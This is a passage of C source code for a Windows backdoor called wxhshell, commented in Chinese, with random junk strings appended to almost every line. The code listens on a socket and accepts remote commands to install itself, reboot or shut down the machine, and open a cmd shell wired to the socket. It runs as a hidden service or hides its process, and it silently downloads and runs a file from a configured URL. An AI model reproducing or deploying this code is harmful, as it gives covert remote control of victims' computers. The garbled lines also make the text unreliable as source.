z?HP%g'M~  
    switch(cmd[0]) { D>u1ngu  
  *dn~-W.  
  // 帮助 \N\Jny  
  case '?': { DiyviH  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); +$:bzo_u  
    break; CT@JNG$<"  
  } .kSx>3  
  // 安装 @N`) Z3P+  
  case 'i': { Y!LcS48X  
    if(Install()) d v@B-l;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g_G'%{T7  
    else 2*6b{}yJH  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /jQW4eW0  
    break;  ZqQJFyV*  
    } I| qoHN,g  
  // 卸载 dnVl;L8L3  
  case 'r': { @, D 3$P8}  
    if(Uninstall()) )W!8,e+%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8[SiIuIV  
    else [kx_Izi/T  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2T &<jt  
    break; `}ak;^Me  
    } $srb!&~_>  
  // 显示 wxhshell 所在路径 LB_y lfg  
  case 'p': { k&4@$;Ap  
    char svExeFile[MAX_PATH]; 3jIi$X06  
    strcpy(svExeFile,"\n\r"); =dD<[Iz6  
      strcat(svExeFile,ExeFile); ?b0VB  
        send(wsh,svExeFile,strlen(svExeFile),0); MR/jM@8  
    break; (MiEXU~v  
    } j?ihUNY!+  
  // 重启 -b "7WBl  
  case 'b': { yjODa90!G  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 7@u0;5p|  
    if(Boot(REBOOT)) W is_N3M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C`c;I7  
    else { r>1M&Y=<  
    closesocket(wsh); [?mDTD8zU  
    ExitThread(0); Y,OSQBgk  
    } P g.PD,&U  
    break; 6LRI~*F=3  
    } m!3L/UZ  
  // 关机 V3fd]rIP  
  case 'd': { i $H aE)qZ  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); p#W[he  
    if(Boot(SHUTDOWN)) iha{(-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [pOQpfo\  
    else { m5lMh14E  
    closesocket(wsh); RwMK%^b  
    ExitThread(0); hM")DmvB4  
    } {x e$  
    break; $E@L{5Yt  
    } |'WaBy1  
  // 获取shell +U9Gj#  
  case 's': { DTrS9j?z  
    CmdShell(wsh); pqO}=*v@  
    closesocket(wsh); 2Q`@lTUv  
    ExitThread(0); _4iTP$7[  
    break; %-!ruc"}  
  } @e#eAJhU  
  // 退出 :SilQm*Pl  
  case 'x': { Ml)~%ZbF  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 6k"'3AKaR  
    CloseIt(wsh); keNPlK%>  
    break; mHjds77e  
    } pIdJ+gu(s  
  // 离开 qt5CoxeJ  
  case 'q': { O7|0t\)  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Kl<qp7o0  
    closesocket(wsh); [$)C(1zY  
    WSACleanup(); [@Y<:6  
    exit(1); deSrs:.  
    break; m`!C|?hu  
        } }I;A\K]  
  } `T2RaWR4=  
  } %;kr%%t%  
=s`\W7/;{-  
  // 提示信息 1UX"iO x(  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 59gt#1k  
} jPg8>Z&D  
  } w(pLU$6X  
|LA./%U  
  return; xoI;s}*E  
} [{e[3b*M|  
2%"2~d7  
// shell模块句柄 }Z*@EWc>  
int CmdShell(SOCKET sock) +L1%mVq]y  
{ 0qXd?z$  
STARTUPINFO si; !_rAAY  
ZeroMemory(&si,sizeof(si)); [=079UN-X  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; mMm_=cfv  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; .|XIF   
PROCESS_INFORMATION ProcessInfo; I=X-e#HM?  
char cmdline[]="cmd"; sh(G{Yz@  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); #?.Yc%5B  
  return 0; @0A7d $J(  
} @mBZu!,  
N*w/\|  
// 自身启动模式 Cw]& B  
int StartFromService(void) {LfVV5?  
{ hXdc5 ?i?  
typedef struct _#xS1sD  
{ @Y+YN;57  
  DWORD ExitStatus; <wUDcF  
  DWORD PebBaseAddress; }N^.4HOS8  
  DWORD AffinityMask; h}fz`ti U  
  DWORD BasePriority; ~F?s\kp6  
  ULONG UniqueProcessId; K.c6n,'  
  ULONG InheritedFromUniqueProcessId; 8<ZxE(v  
}   PROCESS_BASIC_INFORMATION; =!m5'$Uz>  
57IAH$n8o  
PROCNTQSIP NtQueryInformationProcess; ^c3~CD5H 3  
3 RG*:9  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; :5hKE(3Q  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; '&,$"QXwE  
e eb`Ao  
  HANDLE             hProcess; ,R/HT@  
  PROCESS_BASIC_INFORMATION pbi; r4/G&m[V  
p x1y#Q  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 0FmYM@Wc  
  if(NULL == hInst ) return 0; 3Z#k9c_b  
9 lE[oAC  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); aOWW ..|  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); LcS\#p#s]  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); e9/:q"*)/  
Br.$:g#  
  if (!NtQueryInformationProcess) return 0; hN*,]Z{  
uu L"o  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); c'nEbelE  
  if(!hProcess) return 0; c jfYE]  
n{JBC%^g  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; M72.  
asqbLtQ  
  CloseHandle(hProcess); _4F(WCco  
wYy=Tl-N  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); c?B@XIl  
if(hProcess==NULL) return 0; ,.[T]37  
$Kgw6  
HMODULE hMod; S~L$sqt  
char procName[255]; b,"gBg  
unsigned long cbNeeded; {]1o($.u  
Yl%1e|WV  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); `>&V_^y+  
- y[nMEE  
  CloseHandle(hProcess);  (c;F%m|  
-Yx'qz@  
if(strstr(procName,"services")) return 1; // 以服务启动 9r.Os  
N"SFVc_2  
  return 0; // 注册表启动 |}N -5U  
} ZGgKCCt  
Rd~-.&   
// 主模块 9/3gF)I}  
int StartWxhshell(LPSTR lpCmdLine) %suSZw`  
{ 6L[Yn?;  
  SOCKET wsl; UFBggT\  
BOOL val=TRUE; SV#$Cf g  
  int port=0;  734)s  
  struct sockaddr_in door; d_s=5+Yj  
X!Ag7^E  
  if(wscfg.ws_autoins) Install(); P{j2'gg3  
g&eIfm  
port=atoi(lpCmdLine); ~t7?5b?*\  
`|?K4<5|  
if(port<=0) port=wscfg.ws_port; )90Q  
3)\jUVuj  
  WSADATA data; Qgx9JJ>  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 9IJBK  
A+P9M \u.  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   A;ip V :)  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ZDEz&{3U;  
  door.sin_family = AF_INET; =@(&xfTC  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); D^qto{!  
  door.sin_port = htons(port); Sy|fX_i  
{FRUB(68b  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ,aOi:aaZRT  
closesocket(wsl); j"6r]nc&  
return 1; 8,iBG! RF  
} IzVb  
7\x7ySM  
  if(listen(wsl,2) == INVALID_SOCKET) { ZlQ@k{Es~  
closesocket(wsl); nvY3$ Ty  
return 1; Tbf't^Ot$  
} 3!E*h0$}  
  Wxhshell(wsl); ZL/iX~}a'  
  WSACleanup(); {8+FxmH  
-]yM<dP  
return 0; 8R?X$=$]!.  
"Bl ]_YPv  
} ;e,_F/@`  
q.sErr[zc  
// 以NT服务方式启动 to9~l"n.s  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) !p$HS0c  
{ P^9y0Q  
DWORD   status = 0; 4WCWu}  
  DWORD   specificError = 0xfffffff; pG"pvfEl9f  
[7x,&  
  serviceStatus.dwServiceType     = SERVICE_WIN32; #dy z  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; o/0cd  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; "#zSk=52z  
  serviceStatus.dwWin32ExitCode     = 0; y!_*CYZ~m  
  serviceStatus.dwServiceSpecificExitCode = 0; S,ZlS<Z#  
  serviceStatus.dwCheckPoint       = 0; MLD1%* &0  
  serviceStatus.dwWaitHint       = 0; @bs YJ4-V  
s Dq{h  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 7{jB!Xj  
  if (hServiceStatusHandle==0) return; 2to~=/.  
Jr|"QRC  
status = GetLastError(); ~,#zdm1r@  
  if (status!=NO_ERROR) l0Rjq*5hJ  
{ \"=4)Huv  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; a)L\+$@*  
    serviceStatus.dwCheckPoint       = 0; G<1)N T\u  
    serviceStatus.dwWaitHint       = 0; r~f*aD  
    serviceStatus.dwWin32ExitCode     = status; Nr~9] S  
    serviceStatus.dwServiceSpecificExitCode = specificError; z~Zu >Q1u[  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); NTq#'O) f  
    return; 2@7f^be  
  } KX8$j$yW  
FPAy.cljJ  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; `FS)i7-o6  
  serviceStatus.dwCheckPoint       = 0; ?\ Fo|__  
  serviceStatus.dwWaitHint       = 0; {#?$ p i[  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); >O0z+tj  
} J)R2O{z  
~x67v+I  
// 处理NT服务事件,比如:启动、停止 $z1W0  
VOID WINAPI NTServiceHandler(DWORD fdwControl) sKE7U>mz|  
{ [=3f:>ssm  
switch(fdwControl) >~%!#,C(|U  
{ ,_SE!iL  
case SERVICE_CONTROL_STOP: `)i'1E[9  
  serviceStatus.dwWin32ExitCode = 0; 2=R}u-@6p  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; W=QT-4  
  serviceStatus.dwCheckPoint   = 0; S  ^5EG;[  
  serviceStatus.dwWaitHint     = 0; UXs=7H".  
  { -@*[   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >.sdLA Si  
  } *=yUs'brB  
  return; F7o#KN*.]  
case SERVICE_CONTROL_PAUSE: R0 yPmh,{  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; cXcrb4IKD  
  break; pTzwyj!SD  
case SERVICE_CONTROL_CONTINUE: [K5#4k  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; TNi4H:\  
  break; SynL%Y9)|,  
case SERVICE_CONTROL_INTERROGATE: w_gFN%8  
  break; %P3|#0yg0  
}; yT3q~#:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4?eO1=a  
} a"ct"g=  
/-C`*P=:u  
// 标准应用程序主函数 RC[mpR ;2  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) <[*%d~92z  
{ .( )rb y  
-_%8Q#"  
// 获取操作系统版本  5yA1<&z  
OsIsNt=GetOsVer(); 3EY>XS  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 30BFwNE  
QaVxP1V#U  
  // 从命令行安装 eT!*_.' e  
  if(strpbrk(lpCmdLine,"iI")) Install(); DHI%R<  
)Z/L  
  // 下载执行文件 hq[:U?!Tt  
if(wscfg.ws_downexe) { k U75  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) rnOg;|u8  
  WinExec(wscfg.ws_filenam,SW_HIDE); vk:k~   
} YGdzA]3>  
^-wdIu~p?  
if(!OsIsNt) { Xa,d"R~  
// 如果时win9x,隐藏进程并且设置为注册表启动 >]ghme  
HideProc(); \`kH2`  
StartWxhshell(lpCmdLine); h)NZG6R  
} BB$(0mM^  
else 4+tKg*|  
  if(StartFromService()) HpXQ D;  
  // 以服务方式启动 9~rrN60Q  
  StartServiceCtrlDispatcher(DispatchTable); ;nSOe AF)Q  
else . X:  
  // 普通方式启动 ]J '#KT{  
  StartWxhshell(lpCmdLine); %pJRu-D  
q.}M^iDe  
return 0; +VSq[P  
}
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只看该作者 1 发表于: 2006-10-10
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